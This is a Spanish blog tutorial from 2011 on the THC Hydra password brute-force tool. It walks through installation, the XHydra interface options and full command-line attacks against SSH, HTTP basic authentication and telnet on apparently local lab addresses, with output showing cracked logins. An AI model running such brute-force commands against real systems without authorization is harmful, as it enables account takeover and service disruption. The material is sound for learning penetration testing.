# Hydra, Ataques de Fuerza Bruta

abril 8, 2011 adastra Deja un comentario Go to comments

## Instalación de THC Hydra

Para instalar THC Hydra solamente es necesario descargar la ultima versión disponible desde: http://www.thc.org/thc-hydra/

Descargar el fichero tar.gz y descomprimirlo en un directorio.

Finalmente, en dicho directorio, ejecutar:

***hydra-6.1-src# ./configure***

***hydra-6.1-src# make***

***hydra-6.1-src# make install***

En este caso, es necesario tener instalado el paquete **build-essentials**, para ejecutar el comando "make" En el caso de ataques contra el protocolo SSH, es necesario tener instaladas las librerías **libssl-dev** y **libgtk2.0-dev**

Con los comandos anteriores se compila e instala el programa para posteriormente ser usado.

## Uso de XHYDRA:

XHydra es una aplicación gráfica de usuario (GUI) que permite hacer uso de todas las características que dispone Hydra, es una herramienta que se instala junto con las librerías de hydra y permite entender mucho mejor las opciones disponibles en la herramienta en cada una de las pestañas disponibles en la aplicación, ademas, en la parte de abajo indica el comando que se llevará a cabo de acuerdo a las opciones indicadas, a continuación se describen cada una de las pestañas de la aplicación:

***TARGET***

Se declaran los objetivos del ataque, pueden ser de uno a muchos, definiendo las opciones Single Target o Target List, en el caso de target list se define un fichero con los objetivos del ataque, también se permite establecer que el ataque se debe ejecutar preferentemente sobre IPV6 en lugar de IPV4. La opción port define el puerto en el cual se encuentra escuchando el servicio que se desea atacar, por ultimo se define el protocolo a atacar, entre los que se destacan, SSH, cisco, cvs, http-head, http-get, http-proxy, https-head, https-form-get, https-form-post, mysql, pop3, smb, svn, etc.

En esta pestaña también se pueden declarar las opciones de salida del comando, permitiendo un nivel mucho más fino de logs, para ver todo lo que hydra ejecuta en cada momento, las opciones disponibles en esta área son: Use SSL, Be Verbose, Show Attempts y Debug.

Hasta este punto la estructura del comando hydra puede contener los siguientes valores:

***Múltiples Objetivos:***

hydra -M <DIR_WORDLIST>/targets.lst [protocolo: ssh, ssh2, smb, rlogin, postgres, mysql, svn, cvs, socks5, telnet, vnc, ftp, cisco, http-proxy, http-get, http-head, imap, ldap2, ldap3, …] -s puerto

ejem:

*hydra -M /targets.lst ssh -s 22*

***Único Objetivo:***

hydra [IP_TARGET] [protocolo: ssh, ssh2, smb, rlogin, postgres, mysql, svn, cvs, socks5, telnet, vnc, ftp, cisco, http-proxy, http-get, http-head, imap, ldap2, ldap3, …] -s puerto

ejem:

*hydra 192.168.1.22 ssh -s 22*

***PASSWORDS***

Esta pestaña es la mas importante, dado que aquí se definen los atributos obligatorios para la ejecución del comando hydra, a saber, un nombre de usuario único/listado de usuarios y un password único/listado de passwords. En el caso que se trate de usuario o password simple, solamente basta con indicarlo en los campos de texto, en el caso de que se cuente con un diccionario para usuarios o passwords debe indicarse la ruta absoluta donde se encuentran ubicados dichos archivos, puede darse el caso en el que contemos con un usuario valido y sobre este, ejecutamos el ataque de fuerza bruta con un diccionario de passwords en busca de un login exitoso, al igual que podríamos tener un password valido y definir un listado de usuarios (aunque es un caso muy poco frecuente). Por otro lado podemos definir la estructura de dichos wordlist en el caso de que el tenga cada entrada separada por comas, se usa la opción “Use colon separated file”, de otra forma cada entrada se ubica en cada linea del archivo cuyo delimitador es simplemente el salto de linea.

Finalmente se pueden definir las opciones de “Try Login as a Password” y “Try Empty password”

Hasta este punto el comando puede tener la siguiente estructura:

***Usuario Único/Password Único:***

hydra {OPCIONES_TAB_TARGET} -l nombreUsuario -p password

ejem:
*hydra {OPCIONES_TAB_TARGET} -l admin -p clavesegura*

***Usuario Único/Listado de Password***

hydra {OPCIONES_TAB_TARGET} -l admin -P <DIR_WORDLIST>/file.lst

ejem:
*hydra {OPCIONES_TAB_TARGET} -l admin -P /home/wordlistUser.lst*

***Listado Usuarios/Password Único***

hydra {OPCIONES_TAB_TARGET} -L <DIR_WORDLIST>/file.lst -p password

ejem:
*hydra {OPCIONES_TAB_TARGET} -L /home/wordlistUser.lst -p clavesegura*

***Listado Usuarios/Listado Passwords***

hydra {OPCIONES_TAB_TARGET} -L /home/wordlistUser.lst -P <DIR_WORDLIST>/file.lst

ejem:
*hydra {OPCIONES_TAB_TARGET} -L /home/wordlistUser.lst -P <DIR_WORDLIST>/pass.lst*

***Fichero separado por comas***

hydra {OPCIONES_TAB_TARGET} -C <DIR_WORDLIST>/file.lst

ejem:
*hydra {OPCIONES_TAB_TARGET} -C /home/usersandpass.lst*

***Intentar login como password:***

hydra {OPCIONES_TAB_TARGET} {OPCIONES_USER_PASS} -e s

ejem:
*hydra {OPCIONES_TAB_TARGET} {OPCIONES_USER_PASS} -e s*

***Intentar password vació:***

hydra {OPCIONES_TAB_TARGET} {OPCIONES_USER_PASS} -e ns

ejem:
*hydra {OPCIONES_TAB_TARGET} {OPCIONES_USER_PASS} -e ns*

***TUNNING***

Son opciones para mejorar el desempeño del ataque, sin embargo no deben de ser tomadas a la ligera en especial con el establecimiento de valores muy elevados, esto debido a que muchos protocolos detectan este tipo de ataques cuando se hacen de forma muy repetitiva o en otros casos podríamos provocar denegación del servicio, inclusive algunos protocolos habilitan lo que es conocido como “listas negras” donde se registra la dirección del atacante y ante los posteriores intentos de conexión por parte de dicha IP la petición es automáticamente rechazada.

Dentro de las opciones de performance encontramos la opción de numero de tareas, que indica el número de hilos en ejecución de hydra, este valor establece un nuevo proceso hydra en ejecución, por lo tanto un valor muy alto puede dañar considerablemente el desempeño general del ordenador desde donde se ejecute este comando, llegando inclusive a consumir absolutamente todos los recursos del mismo, por lo tanto es un valor del que no se debe abusar (a menos que se cuente con un ordenador muy robusto en terminos de hardware y capacidad de procesamiento). Por otro lado la opción de TimeOut define el tiempo de espera de cada una de las peticiones en segundos, en el caso de que este tiempo se alcance automáticamente el proceso de hydra finaliza su ejecución para la iteración correspondiente al ataque que a alcanzado el tiempo máximo, es decir, este tiempo en segundos será el tiempo que el proceso de Hydra esperará antes de lanzar la siguiente entrada de usuario/clave del

ataque, este valor también puede afectar negativamente el desempeño del ordenador, en especial si se utiliza junto con un valor muy alto para el numero de tareas.

Finalmente es posible establecer valores de autenticación sobre un proxy HTTP u otro, donde se debe especificar la dirección del proxy y si esté requiere autenticación los valores correspondientes a la clave y el usuario.

En el caso de utilizar un proxy, este puede definirse de manera persistente en las varables de entorno: HYDRA_PROXY_HTTP/HYDRA_PROXY_CONNECT y HYDRA_PROXY_AUTH. Algunos valores validos para estas variables:

HYDRA_PROXY_HTTP="http://192.168.67.89:8080/"

HYDRA_PROXY_CONNECT=proxy.anonimo.com:8000

HYDRA_PROXY_AUTH="login:password"

***Numero de tareas***

hydra {OPCIONES_TAB_TARGET} {OPCIONES_USER_PASS} -t numero_tareas

ejem:
*hydra {OPCIONES_TAB_TARGET} {OPCIONES_USER_PASS} -t 3*

***TimeOut***

hydra {OPCIONES_TAB_TARGET} {OPCIONES_USER_PASS} -w numero_segundos

ejem:
*hydra {OPCIONES_TAB_TARGET} {OPCIONES_USER_PASS} -w 15*

***SPECIFIC***

Aquí se definen algunas opciones adicionales especificas para algunos de los protocolos soportados, estas opciones definen características obligatorias para la correcta ejecución del ataque contra un objetivo. Estas opciones especificas son:

***http-proxy-module***

Indica la ruta donde se establece el modulo proxy para realizar los ataques.

***http /https url***

Indica una ruta normalmente protegida por control de acceso, ya sea por HTTP o HTTPS.

Cisco enable, Login for Cisco Device

Valor de clave para un router cisco.

***LDAP DN***

Indica la raíz del directorio de LDAP donde se intenta ejecutar un ataque de fuerza bruta, esta opción es valida para protocolos ldap2 y ldap3

***SMBNT***

Diferentes tipos de ataques contra estructuras Samba, los valores posibles son: cuentas locales, cuentas de dominio, Interpretación de passwords como NTLM hashes.

***CVS/SVN***

Indicar la raíz del directorio CVS o SVN, por defecto es trunk.

***Telnet***

El el caso de un login exitoso, el mensaje que se debe de enseñar en la consola

***Start***

Finalmente en la pestaña de Start se puede iniciar el ataque con todas las opciones establecidas, teniendo la posibilidad de detener el ataque, almacenar la salida en un fichero de texto y visualizarla en una área de texto habilitada para dicho fin.

## USO DE HYDRA

Aunque con XHYDRA se definen la mayoría de las opciones disponibles en la herramienta, existen otra serie de opciones adiciones que no se contemplan y que pueden ser utilizadas directamente desde la consola de comandos, el listado total de las opciones actualmente disponibles (versión 6.1 a la hora de escribir este documento)

*hydra -h*

Hydra v6.1 [http://www.thc.org] (c) 2011 by van Hauser / THC <vh@thc.org>

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]

[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]

[-4|-6] server service [OPT]

Options:

-R restore a previous aborted/crashed session

-S connect via SSL

-s PORT if the service is on a different default port, define it here

-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE

-p PASS or -P FILE try password PASS, or load several passwords from FILE

-e ns additional checks, “n” for null password, “s” try login as pass

-C FILE colon separated “login:pass” format, instead of -L/-P options

-M FILE server list for parallel attacks, one entry per line

-o FILE write found login/password pairs to FILE instead of stdout

-f exit after the first found login/password pair (per host if -M)

-t TASKS run TASKS number of connects in parallel (default: 16)

-w TIME defines the max wait time in seconds for responses (default: 30)

-4 / -6 prefer IPv4 (default) or IPv6 addresses

-v / -V verbose mode / show login+pass combination for each attempt

server the target server (use either this OR the -M option)

service the service to crack. Supported protocols: telnet ftp pop3 imap smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth pcanywhere teamspeak sip vmauthd firebird ncp afp

OPT some service modules need special input (see README!)

En ocasiones, los ataques son cancelados por multitud de razones, hydra en estos casos genera un fichero llamado “hydra.restore” que contiene la última sesión ejecutada por THC Hydra, de este modo es posible continuar con ataques inconclusos partiendo desde el ultimo estado del ataque, para esto se emplea la opción -R

***Ataques de fuerza bruta contra SSH***

Para realizar un ataque contra SSH es obligatorio tener instaladas las librerías ***libssl-dev*** y ***libgtk2.0-dev***, ya que son dependencias que utiliza hydra para la ejecución de ataques contra ssh, entre otros protocolos seguros.

*hydra 192.168.1.33 -l adastra -P /home/adastra/UTILITIES/userPass.lst -t 2 -vV -s 4321 ssh*

Hydra v6.1 (c) 2011 by van Hauser / THC – use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2011-04-05 21:29:19

[DATA] 2 tasks, 1 servers, 5 login tries (l:1/p:5), ~2 tries per task

[DATA] attacking service ssh on port 4321

[VERBOSE] Resolving addresses … done

[ATTEMPT] target *192.168.1.33* – login “adastra” – pass “admin” – child 0 – 1 of 5

[ATTEMPT] target *192.168.1.33* – login “adastra” – pass “root” – child 1 – 2 of 5

[ATTEMPT] target *192.168.1.33* – login “adastra” – pass “hanyn” – child 0 – 3 of 5

[ATTEMPT] target *192.168.1.33* – login “adastra” – pass “user” – child 1 – 4 of 5

[4321][ssh] host: *192.168.1.33* login: adastra password: hanyn

[VERBOSE] Skipping current login as we cracked it

[STATUS] attack finished for 127.0.0.1 (waiting for children to finish)

Hydra (http://www.thc.org) finished at 2011-04-05 21:29:23

***Ataques de fuerza bruta contra HTTPS***

Algunos sitios se encuentran restringidos con mensajes de usuario y clave contenidos en la propia petición, a diferencia de aquellos que se enseñan al usuario a modo de formulario web con usuario y clave, este tipo de autenticación viaja en método get, sin embargo no se pueden ver las credenciales en texto plano en la barra de navegación dado que la comunicación viaja en forma segura por medio del protocolo HTTPS, sin embargo, tanto como si se trata de un formulario web, como de un popup de autenticación, hydra permite atacar ambos mecanismos de la misma forma:

*hydra 192.168.1.1 -l 1234 -P /home/adastra/UTILITIES/userPass.lst -t 2 -vV -s 80 http-get -m /passwords.html*

Hydra v6.1 (c) 2011 by van Hauser / THC – use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2011-04-05 21:44:58

[DATA] 2 tasks, 1 servers, 5 login tries (l:1/p:5), ~2 tries per task

[DATA] attacking service http-get on port 80

[VERBOSE] Resolving addresses … done

[ATTEMPT] target 192.168.1.1 – login “1234” – pass “admin” – child 0 – 1 of 5

[ATTEMPT] target 192.168.1.1 – login “1234” – pass “root” – child 1 – 2 of 5

C1:GET /passwords.html HTTP/1.0

Host: 192.168.1.1

Authorization: Basic MTIzNDphZG1pbg==

User-Agent: Mozilla/4.0 (Hydra)

C1:GET /passwords.html HTTP/1.0

Host: 192.168.1.1

Authorization: Basic MTIzNDpyb290

User-Agent: Mozilla/4.0 (Hydra)

S:HTTP/1.1 401 Unauthorized

Server: micro_httpd

Cache-Control: no-cache

Date: Sat, 01 Jan 2000 10:15:39 GMT

WWW-Authenticate: Basic realm=”DSL Router”

Content-Type: text/html

Connection: close

<HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD>

<BODY BGCOLOR="#cc9999"><H4>401 Unauthorized</H4>

Authorization required.

<HR>

<ADDRESS><A
HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS>;

</BODY></HTML>

……..

[ATTEMPT] target 192.168.1.1 – login "1234" – pass "admin" – child 0 – 3 of 5

C1:GET /passwords.html HTTP/1.0

Host: 192.168.1.1

Authorization: Basic MTIzNDp1c2Vy

User-Agent: Mozilla/4.0 (Hydra)

S:HTTP/1.1 200 Ok

Server: micro_httpd

Cache-Control: no-cache

Date: Sat, 01 Jan 2000 10:15:39 GMT

Content-Type: text/html

Connection: close

[80][www] host: 192.168.1.1 login: 1234 password: admin

[VERBOSE] Skipping current login as we cracked it

[STATUS] attack finished for 192.168.1.1 (waiting for children to finish)

Hydra (http://www.thc.org) finished at 2011-04-05 21:44:59

Anteriormente en el comando se ha especificado la opción -m indicando la pagina hacia la cual queremos acceder,

***Ataques de fuerza bruta contra TELNET***

Del mismo modo que con cualquier servicio que requiera autenticación para realizar una conexión, si la maquina objetivo tiene el servicio de telnet activo, es susceptible de ataques de fuerza bruta con el fin de obtener un login exitoso en base a un diccionario de usuarios y claves:

*hydra 192.168.1.1 -l 1234 -P /home/adastra/UTILITIES/userPass.lst -t 2 -vV -s 23 telnet*

Hydra v6.1 (c) 2011 by van Hauser / THC – use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2011-04-05 21:56:32

[DATA] 2 tasks, 1 servers, 5 login tries (l:1/p:5), ~2 tries per task

[DATA] attacking service telnet on port 23

[VERBOSE] Resolving addresses … done

[ATTEMPT] target 192.168.1.1 – login “1234” – pass “admin” – child 0 – 1 of 5

[ATTEMPT] target 192.168.1.1 – login “1234” – pass “root” – child 1 – 2 of 5

[ATTEMPT] target 192.168.1.1 – login “1234” – pass “admin” – child 0 – 3 of 5

[ATTEMPT] target 192.168.1.1 – login “1234” – pass “user” – child 1 – 4 of 5

[23][telnet] host: 192.168.1.1 login: 1234 password: admin

[VERBOSE] Skipping current login as we cracked it

[STATUS] attack finished for 192.168.1.1 (waiting for children to finish)

Hydra (http://www.thc.org) finished at 2011-04-05 21:56:32

Como nota final, para realizar un ataque de fuerza bruta no se necesitan habilidades especiales ni conocimientos profundos sobre el sistema que se intenta atacar, posiblemente por está razón es tan popular por “lammers” y “script kiddies” ya que no requiere mayores esfuerzos, el exito de este tipo de ataques es directamente proporcional a la calidad del diccionario a utilizar, ya que entre más completo sea, las probabilidades de exito son mucho mayores.